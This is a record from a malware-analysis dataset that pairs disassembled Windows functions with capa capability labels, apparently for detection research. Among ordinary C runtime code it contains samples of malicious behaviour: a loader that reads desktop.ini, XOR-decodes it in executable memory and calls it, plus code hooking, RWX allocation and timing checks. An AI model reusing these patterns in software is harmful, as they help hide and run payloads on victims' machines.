joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408769
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x40c190
cmp edx, dword [eax]
je 0x40878b
add eax, 8
inc ecx
cmp eax, 0x40c220
jl 0x40877c
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x40c190]
jne 0x4088b9
mov eax, dword [0x40cbb0]
cmp eax, 1
je 0x408893
test eax, eax
jne 0x4087bc
cmp dword [0x40c0e4], 1
je 0x408893
cmp edx, 0xfc
je 0x4088b9
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4087f3
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00409670
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00409490
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x408836
lea eax, [ebp - 0x1a4]
push eax
call fcn.00409490
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x40b45c
push edi
call fcn.00409f00
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00409670
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00409680
lea eax, [ebp - 0xa0]
push 0x40b43c
push eax
call fcn.00409680
push dword [esi + 0x40c194]
lea eax, [ebp - 0xa0]
push eax
call fcn.00409680
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.00409e75
add esp, 0x2c
pop edi
jmp 0x4088b9
lea eax, [ebp + 8]
lea esi, [esi + 0x40c194]
push 0
push eax
push dword [esi]
call fcn.00409490
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4043b9
Capabilities:
Check mutex on windows
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
call fcn.004051d2
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0
push str.uuuuwdwwdcnslqn
push str.sa_dlkfjs_ak_jj_s
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
xor eax, eax
push 0x208
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.004145dc
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x404449
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push esi
push str.:_bugogashenka
push 0x4249d8
call fcn.00403193
push eax
call fcn.00414536
add esp, 0xc
push 0
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
mov esi, dword [sym.imp.KERNEL32.dll_OpenMutexW]
push 0xffffffffffffffff
push 0
push 1
push 0x1f0001
call esi
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcessVersion]
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
neg eax
push eax
push 1
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 0xe
pop esi
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8

Function at 0x404e51
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 0x2c], 0x24
lea eax, [ebp - 0x24]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x2c], 0
je 0x404e84
mov ecx, dword [ebp - 0x28]
mov byte [ecx], 0
mov edx, dword [ebp - 0x28]
add edx, 1
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x2c]
sub eax, 1
mov dword [ebp - 0x2c], eax
jmp 0x404e64
lea ecx, [ebp - 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov esp, ebp
pop ebp
ret
Function at 0x408661
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
div dword [ebp - 4]
add edx, 0xa
mov dword [ebp - 0x10], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, eax
mov eax, esi
xor edx, edx
div ecx
add edx, 5
mov dword [ebp - 0x14], edx
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x18], 0
mov edx, dword [ebp - 0x10]
imul edx, dword [ebp - 0x14]
movzx eax, dx
push eax
mov ecx, dword [ebp - 4]
imul ecx, dword [ebp - 0x14]
movzx edx, cx
push edx
movzx eax, word [ebp - 0x10]
push eax
movzx ecx, word [ebp - 4]
push ecx
call dword [sym.imp.GDI32.dll_CreateRectRgn]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x408809
mov esi, dword [ebp - 0x10]
imul esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul esi, eax
movzx edx, si
push edx
mov esi, dword [ebp - 4]
imul esi, dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul esi, eax
movzx eax, si
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, dword [ebp - 0x10]
movzx ecx, ax
push ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, dword [ebp - 4]
xor edx, edx
div dword [ebp - 0x10]
movzx edx, dx
push edx
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x4087ff
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x10]
movzx ecx, ax
push ecx
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x10]
movzx eax, dx
push eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
imul eax, dword [ebp - 0x14]
movzx ecx, ax
push ecx
mov edx, dword [ebp - 0x14]
imul edx, dword [ebp - 0x14]
movzx eax, dx
push eax
movzx ecx, word [ebp - 0x10]
push ecx
mov edx, dword [ebp - 4]
imul edx, dword [ebp - 4]
movzx eax, dx
push eax
call dword [sym.imp.GDI32.dll_CreateRoundRectRgn]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4087e1
push 1
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_CombineRgn]
push 3
mov ecx, dword [ebp - 0xc]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_CombineRgn]
push 3
mov ecx, dword [ebp - 0x18]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp - 0x18]
push eax
call dword [sym.imp.GDI32.dll_CombineRgn]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.GDI32.dll_DeleteObject]
jmp 0x4087f5
push 1
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.GDI32.dll_CombineRgn]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.GDI32.dll_DeleteObject]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_DeleteObject]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a5fa
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40a615
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x40a64c
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40a648
jmp 0x40a63a
cmp esi, eax
jae 0x40a64c
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x40a63a
cmp esi, eax
jb 0x40a653
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x40d63c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov ecx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
lea edx, [ebp + 0xc]
push edx
push 0x40
xor eax, eax
sub ecx, edi
push 8
mov dword [ebp - 8], eax
sub ecx, 5
mov dword [ebp - 4], eax
push edi
mov byte [ebp - 8], 0xe9
mov dword [ebp - 7], ecx
mov dword [ebp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x40d6b7
push ebx
lea ebx, [ebp - 8]
push esi
mov esi, edi
sub ebx, edi
mov eax, dword [ebx + esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
add esi, 4
lea eax, [edi + 4]
cmp esi, eax
jbe 0x40d67c
mov edx, dword [ebp + 0xc]
lea ecx, [ebp + 0xc]
push ecx
push edx
push 8
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 8
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp + 0xf]
push ecx
mov esi, eax
call fcn.00414398
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret

Function at 0x40e15c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4224ec]
jne 0x40e166
repz ret
jmp fcn.0040f35f
Function at 0x40f28f
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
push ebx
lea ebx, [edx + eax + 0x28]
xor edx, edx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
cmp dx, word [eax + 6]
jae 0x40f34e
push esi
push edi
jmp 0x40f2c3
mov ecx, dword [ebp - 8]
mov esi, dword [ebx]
test esi, esi
jne 0x40f300
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 0x38]
mov dword [ebp - 0x10], eax
test eax, eax
jle 0x40f331
mov edi, dword [ebx - 4]
push 0x1000
add edi, ecx
lea ecx, [esi + 0x40]
push eax
lea esi, [ebp - 0xc]
call fcn.0040f8f7
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
push ecx
push 0
push eax
mov dword [ebx - 8], eax
call fcn.004145dc
jmp 0x40f32e
mov edi, dword [ebx - 4]
add edi, ecx
call fcn.004051d2
push 0x40
push 0x1000
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edx, dword [ebx]
mov edi, eax
mov eax, dword [ebx + 4]
add eax, dword [ebp + 8]
push edx
push eax
push edi
call fcn.0041080e
mov dword [ebx - 8], edi
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
mov eax, dword [ebp - 4]
movzx ecx, word [edx + 6]
inc eax
add ebx, 0x28
mov dword [ebp - 4], eax
cmp eax, ecx
jl 0x40f2c0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x40f8f7
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
xor edx, edx
push 0x208
mov dword [ebp - 0x214], eax
push edx
lea eax, [ebp - 0x20e]
push eax
mov dword [ebp - 0x218], ecx
mov word [ebp - 0x210], dx
call fcn.004145dc
add esp, 0xc
push 0x104
lea ecx, [ebp - 0x210]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x40f96d
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ecx, dword [ebp - 0x218]
mov edx, dword [ebp - 0x214]
push ecx
push edx
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 4]
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8
Function at 0x4106cf
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x402717
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x4224ec]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], 0x41b500
mov eax, dword [0x423714]
mov edx, dword [eax + 0xc]
lea edi, [esi + 4]
mov ecx, 0x423714
mov dword [ebp - 0x14], edi
call edx
add eax, 0x10
mov dword [edi], eax
mov dword [ebp - 4], 1
mov dword [esi + 8], 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
test eax, eax
jne 0x410738
xor ecx, ecx
jmp 0x41074e
mov ecx, eax
lea ebx, [ecx + 2]
mov edi, edi
mov dx, word [ecx]
add ecx, 2
test dx, dx
jne 0x41073f
sub ecx, ebx
sar ecx, 1
push ecx
push eax
mov ecx, edi
call fcn.0041252d
mov dword [ebp - 4], 0xffffffff
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x414398
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x208
push eax
lea ecx, [ebp - 0x20e]
push ecx
mov word [ebp - 0x210], ax
call fcn.004145dc
add esp, 0xc
push 0x104
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x4143fb
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov edx, dword [ebp + 0xc]
push edx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + 8]
xor ecx, ebp
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8
Function at 0x4177f0
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00412440
and dword [ebp - 0x14], 0
cmp dword [0x424954], 0
mov dword [ebp - 0x18], eax
jne 0x4178a3
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x41794b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x41dca8
push ebx
call edi
test eax, eax
je 0x41794b
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x424954], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x424958], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42495c], eax
call edi
push eax
call esi
mov dword [0x424964], eax
test eax, eax
je 0x4178a3
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x424960], eax
mov eax, dword [0x424960]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4178fc
cmp dword [0x424964], ecx
je 0x4178fc
push eax
call esi
push dword [0x424964]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4178fc
test ebx, ebx
je 0x4178fc
call edi
test eax, eax
je 0x4178f3
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4178f3
test byte [ebp - 8], 1
jne 0x4178fc
or dword [ebp + 0x10], 0x200000
jmp 0x41792f
mov eax, dword [0x424958]
cmp eax, dword [ebp - 0x18]
je 0x41792f
push eax
call esi
test eax, eax
je 0x41792f
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x41792f
mov eax, dword [0x42495c]
cmp eax, dword [ebp - 0x18]
je 0x41792f
push eax
call esi
test eax, eax
je 0x41792f
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x424954]
call esi
test eax, eax
je 0x41794b
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x41794d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040e15c
leave
ret
Function at 0x41a0a2
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov eax, dword [0x4224ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 8]
xor ecx, ecx
push 0x208
push ecx
lea edx, [ebp - 0x20e]
push edx
mov dword [ebp - 0x214], eax
mov word [ebp - 0x210], cx
call fcn.004145dc
add esp, 0xc
push 0x104
lea eax, [ebp - 0x210]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x41a112
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathStripToRootW]
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov eax, dword [ebp - 0x214]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 4]
mov dword [esi], eax
xor ecx, ebp
mov eax, esi
pop ebx
call fcn.0040e15c
mov esp, ebp
pop ebp
ret 8
Function at 0x446195
Capabilities:
Encode data using xor

Disassembly:
inc esp
push 0x50
jnp fcn.004461a5
cdq
jecxz 0x446211
call 0x6285623e
wait
mov al, 0x4d
popfd
jl 0x44622b
or dl, byte [edi + 0x4347dc4b]
dec ebx
mov bl, 0xba
pop edx
invalid

Function at 0x4bbee1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x4c33f0
cmp edx, dword [eax]
je 0x4bbf03
add eax, 8
inc ecx
cmp eax, 0x4c3480
jl 0x4bbef4
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x4c33f0]
jne 0x4bc031
mov eax, dword [0x4c8e20]
cmp eax, 1
je 0x4bc00b
test eax, eax
jne 0x4bbf34
cmp dword [0x4c3318], 1
je 0x4bc00b
cmp edx, 0xfc
je 0x4bc031
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x4bbf6b
lea eax, [ebp - 0x1a4]
push 0x4c16a8
push eax
call fcn.004bc8c0
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004bcd50
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x4bbfae
lea eax, [ebp - 0x1a4]
push eax
call fcn.004bcd50
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x4c16a4
push edi
call fcn.004bec20
add esp, 0x10
lea eax, [ebp - 0xa0]
push 0x4c1688
push eax
call fcn.004bc8c0
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.004bc8d0
lea eax, [ebp - 0xa0]
push 0x4c1684
push eax
call fcn.004bc8d0
push dword [esi + 0x4c33f4]
lea eax, [ebp - 0xa0]
push eax
call fcn.004bc8d0
push 0x12010
lea eax, [ebp - 0xa0]
push 0x4c165c
push eax
call fcn.004beb94
add esp, 0x2c
pop edi
jmp 0x4bc031
lea eax, [ebp + 8]
lea esi, [esi + 0x4c33f4]
push 0
push eax
push dword [esi]
call fcn.004bcd50
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop esi
leave
ret
Function at 0x401473
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
or eax, eax
je 0x401647
mov edi, eax
push 0
push 0x4020b0
push 0x40000
push 0x4098a5
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
or eax, eax
je 0x401647
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or eax, eax
je 0x401647
cmp dword [0x4098a5], 0x38464947
je 0x4014d8
jmp 0x401647
cmp word [0x4098a9], 0x6137
je 0x4014e8
jmp 0x401647
mov al, byte [0x4098af]
and al, 7
cmp al, 7
je 0x4014f8
jmp 0x401647
add dword [0x4020b0], 0x4098a5
mov esi, 0x409bb2
mov edi, esi
cmp esi, dword [0x4020b0]
jb 0x401516
jmp 0x401647
lodsb al, byte [esi]
cmp al, 0x2c
jne 0x401509
add esi, 4
mov eax, 0
lodsw ax, word [esi]
mov ebx, eax
lodsw ax, word [esi]
add esi, 2
push 0
push 1
push 0x44a044
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x64]
mov edi, esi
mov edx, esi
mov ebx, 0x4098a5
add ebx, dword [0x4020b0]
cmp esi, dword [0x4020b0]
jb 0x40155c
jmp 0x401647
lodsb al, byte [esi]
movzx ecx, al
rep movsb byte es:[edi], byte [esi]
cmp al, 0
jne 0x40154f
mov edi, dword [0x44a068]
mov ebx, edx
mov byte [0x4020b4], 0
mov edx, 0
mov ch, 9
cmp edx, 0x7f0
jbe 0x40159a
mov ch, 0xa
cmp edx, 0x17f0
jbe 0x40159a
mov ch, 0xb
cmp edx, 0x37f0
jbe 0x40159a
mov ch, 0xc
mov cl, byte [0x4020b4]
mov eax, dword [ebx]
shr eax, cl
xchg cl, ch
mov esi, 1
shl esi, cl
dec esi
and eax, esi
add cl, ch
cmp cl, 8
ja 0x4015b9
jmp 0x4015bf
sub cl, 8
inc ebx
jmp 0x4015b2
mov byte [0x4020b4], cl
cmp eax, 0x100
jb 0x401608
cmp eax, 0x100
jne 0x4015d5
jmp 0x401575
sub eax, 0x102
js 0x401621
shl eax, 3
cmp eax, edx
jbe 0x4015e5
jmp 0x401647
mov ecx, dword [eax + 0x4020b5]
mov esi, dword [eax + 0x4020b9]
mov dword [edx + 0x4020b9], edi
rep movsb byte es:[edi], byte [esi]
mov eax, dword [eax + 0x4020b5]
inc eax
mov dword [edx + 0x4020b5], eax
jmp 0x401619
mov dword [edx + 0x4020b5], 2
mov dword [edx + 0x4020b9], edi
stosb byte es:[edi], al
add edx, 8
jmp 0x40157a
push 0
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [eax]
call dword [eax + pe_nt_image_headers32]
push 0x44a138
push 8
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [eax]
call dword [eax + 0x74]
or eax, eax
jne 0x401647
leave
ret 8
mov eax, 1
leave
ret 8
Function at 0x401650
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 3
push 0
push 0
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
or eax, eax
je 0x401707
mov edi, eax
push 0
push 0x4020b0
push 0x30d
push 0x4098a5
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
cmp dword [0x4020b0], 0x30d
je 0x40169b
jmp 0x401707
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
or eax, eax
je 0x401707
cmp dword [0x4098a5], 0x38464947
je 0x4016b4
jmp 0x401707
cmp word [0x4098a9], 0x6137
je 0x4016c1
jmp 0x401707
mov al, byte [0x4098af]
and al, 7
cmp al, 7
je 0x4016ce
jmp 0x401707
mov esi, 0x4098b2
mov edi, 0x409ca5
mov ecx, 0x100
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov al, 0
stosb byte es:[edi], al
dec ecx
jne 0x4016dd
push 0
push 0x4020ac
push 0x409ca5
push 0x44
mov eax, dword [0x40209c]
push eax
mov eax, dword [eax]
call dword [eax + 0x14]
or eax, eax
jne 0x401707
leave
ret 4
mov eax, 1
leave
ret 4